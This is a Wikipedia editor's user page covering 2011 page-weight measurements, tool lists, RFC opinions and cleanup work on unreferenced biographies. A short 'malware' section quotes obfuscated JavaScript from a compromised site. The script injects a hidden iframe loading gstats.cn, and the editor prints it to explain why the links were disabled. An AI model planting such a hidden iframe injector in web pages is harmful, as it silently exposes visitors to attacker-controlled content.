User:84user

In 2011 January, I tested the total network traffic of a few web pages, measured usingFirebug,from the context of someone paying for every 100KB of their data downloads (a mobile user for example):

1010 KB 11.0 seconds Deutsche Welle English page[7]The Winner!
540 KB 10.01 seconds BBC news home page[8]
502 KB 13.0 seconds Featured articleLetters Written in Sweden, Norway, and Denmark
376 KB 14.48 seconds English WikipediaMain Page
320 KB 3.2 seconds Featured article in mobile wikipedia[9]
305 KB 11.06 seconds French Wikipediafr:Wikipédia:Accueil_principal
262 KB 13.7 seconds Simple English Wikipedia
169 KB 6.26 seconds German Wikipediade:Wikipedia:Hauptseite
154 KB 4.77 seconds Twitter[10]
129 KB 3.87 seconds W3C[11]
113 KB 1.42 seconds Google search for Google[12]
84 KB 1.36 seconds Google[13]
27 KB 1.69 seconds advanced mobile wikipedia[14]
5 KB 0.7 seconds mobile wikipedia [http://en.mobile.wikipedia.org/

I think wikipedia needs an article onBloat (web).

tools and stats

Wikipedia:WebCiteBOT;growth;article traffic statistics;categorization thoughts
Toolserver:tstoc;Global user contributions;Checklinks;CatScan:CatScan;e.g.:German + Airship aviators;example dablinks for Thomas_Henry_Huxley;My freezepage account temporarily archiving cites that fail to archive

No original biographies
Sighted versions
A fool's guide to writing a featured article
On civility
References don't increase Wikipedia's reliability
User:Piotrus/Morsels of wikiwisdom

My half-baked opinions onthe RFC"In principle, do you think that WP:NOT should include a section on plot summaries?"

such RFCs need actual examples
question is badly framed
agree that some form of plotguidelineis needed
agree that reliably sourced plot-only articles can meetWP:V,and are acceptable, and could also be usefully merged (or remain as "grow-me" stubs, I'm on the fence here)
not necessary for an article on fiction to contain a plot summary! See real encyclopedia
not necessary for an article on fiction to contain only analysis! See real encyclopedia again

malware

In case anyone is curious why I disabled the links to kungfurodeo.com, here is the malicious javascript that its pages contain that try to load from gstats.cn (do NOT browse to either domain!):

if (document.cookie.search( "iwrpl=5" ) == -1) { document.write( "<ifram" + "e src" + "=http://g" + "st" + "ats" + ".c" + "n sty" + "le=" + "d" + "ispla" + "y:non" + "e></if" + "rame" + ">" ); document.cookie = "iwrpl=5;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

Unreferenced BLPs

FromCategory:Unreferenced BLPs from September 2008(was 533, now 531)

Dag Achatz- made partly cited
Charles Gilchrist Adam- made fully cited, needs moving toCharles Gilchrist Adams
Vlad Agachi- Vlad Andrei Agachi, unsure whether meetsWikipedia:Notability,so listed atWikipedia:Articles for deletion/Vlad Agachi
Yuka Aimoto- also atja: Tương bổn kết hương- added weak cites, probably borderline notable but lack of reliable sources make article difficult to meet V, see alsoWikipedia:Articles for deletion/Yuka Aimoto

Multi-licensed with all versions of the Creative Commons Attribution Share-Alike License
I agree to multi-license my text contributions, unless otherwise stated, underWikipedia's copyright termsand theCreative CommonsAttribution Share-Alike licenseversion 1.0,version 2.0,version 2.5,version 3.0,version 4.0and all future versions of the Creative Commons Attribution Share-Alike license. Please be aware that other contributors might not do the same, so if you want to use my contributions under the Creative Commons terms, please check theCC dual-licenseandMulti-licensingguides.

All rights released to all minor edits
I agree to release all rights, unless otherwise stated, to all my English Wikipedia text contributions marked asminor edits,enabling anyone to use them for any purpose. Please be aware that other contributors might not do the same, so if you want to freely use myminor editcontributions, please check themulti-licensing guide.